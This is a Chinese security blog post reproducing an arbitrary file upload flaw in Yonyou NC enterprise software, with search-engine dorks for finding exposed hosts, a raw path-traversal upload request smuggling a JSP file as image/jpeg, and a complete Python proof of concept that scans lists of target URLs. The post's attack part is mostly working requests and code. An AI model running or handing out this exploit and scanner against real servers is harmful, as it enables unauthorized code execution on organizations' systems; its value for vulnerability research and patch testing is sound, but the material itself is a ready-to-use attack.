【漏洞复现】用友NC——文件上传漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。其uploadControl/uploadFile接口存在任意文件上传漏洞。

漏洞复现

1)信息收集
fofa:title=="YONYOU NC"
hunter:web.title=="YONYOU NC"
在这里插入图片描述
自是人生长恨水长东
在这里插入图片描述
2)构造数据包上传测试文件

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 373
Connection: close

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--

在这里插入图片描述
代码解释

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--

这段文本代表了一个使用multipart/form-data编码格式的HTTP POST请求体,用于上传文件。下面是各个部分的解释:

  1. ------WebKitFormBoundarygcflwtei:这是分隔符,用于区分不同的表单数据部分。每次请求的边界字符串通常是随机生成的,这里使用的是WebKitFormBoundarygcflwtei

  2. Content-Disposition: form-data; name="file"; filename="rce.jsp":这行指明了接下来的数据是一个文件类型的数据块,其名称为file,文件名为rce.jsp

  3. Content-Type: image/jpeg:尽管这里指定的Content-Type是image/jpeg,但实际上下面的内容并不是JPEG图像,而是一个JSP文件,其中包含了恶意的Java代码。这种类型的攻击称为“MIME类型欺骗”。

  4. <% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>:这是嵌入在JSP文件中的Java代码。当JSP文件被请求时,这段代码会被执行:

    • out.println("HelloWorldTest");:向页面输出HelloWorldTest字符串。
    • new java.io.File(application.getRealPath(request.getServletPath())).delete();:查找并删除当前请求的Servlet路径对应的物理文件。这可能用于删除上传的JSP文件,以清理痕迹或防止进一步的访问。
  5. ------WebKitFormBoundarygcflwtei:这是另一个分隔符,用于开始一个新的表单数据部分。

  6. Content-Disposition: form-data; name="submit":这一行指示下一个数据块是一个表单字段,名称为submit,通常代表提交按钮。

  7. 上传:这是提交按钮的值。

  8. ------WebKitFormBoundarygcflwtei--:这是请求体的结束标志,表示所有表单数据部分都已经发送完毕。

这种类型的POST请求常用于测试Web应用的安全性,尤其是寻找文件上传漏洞。如果服务器没有正确验证上传文件的内容类型和内容,攻击者就可以利用此类漏洞上传恶意文件,并在服务器上执行任意代码。

3)访问上传文件/mp/uploadFileDir/rce.jsp

GET /mp/uploadFileDir/rce.jsp HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 设置颜色代码用于控制台输出
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全的SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 随机生成字符串函数
def rand_base(n):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

# 检查目标URL是否具有特定的RCE(远程代码执行)漏洞
def check_vulnerability(url):
    filename = rand_base(6)  # 生成随机文件名
    upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile'  # 构造上传URL
    upload_headers = {
        # 构造上传请求头
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei',
        'Connection': 'close'
    }
    # 构造上传数据体
    upload_data = (
        '------WebKitFormBoundarygcflwtei\r\n'
        f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"\r\n'
        'Content-Type: image/jpeg\r\n\r\n'
        '<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n'
        '------WebKitFormBoundarygcflwtei\r\n'
        'Content-Disposition: form-data; name="submit"\r\n\r\n'
        '上传\r\n'
        '------WebKitFormBoundarygcflwtei--'
    ).encode('utf-8')

    try:
        # 发送上传请求
        response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)
        # 构造访问上传文件的URL
        access_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'
        access_headers = {
            # 访问请求头
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
        }
        # 发送访问请求
        response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)
        
        # 检查响应状态和内容以判断是否存在漏洞
        if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:
            print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# 主函数,解析命令行参数并调用检查函数
def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    # 如果提供了单个URL,则检查该URL
    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果提供了包含URL的文件,则遍历文件中的每个URL进行检查
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述

  • 29
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值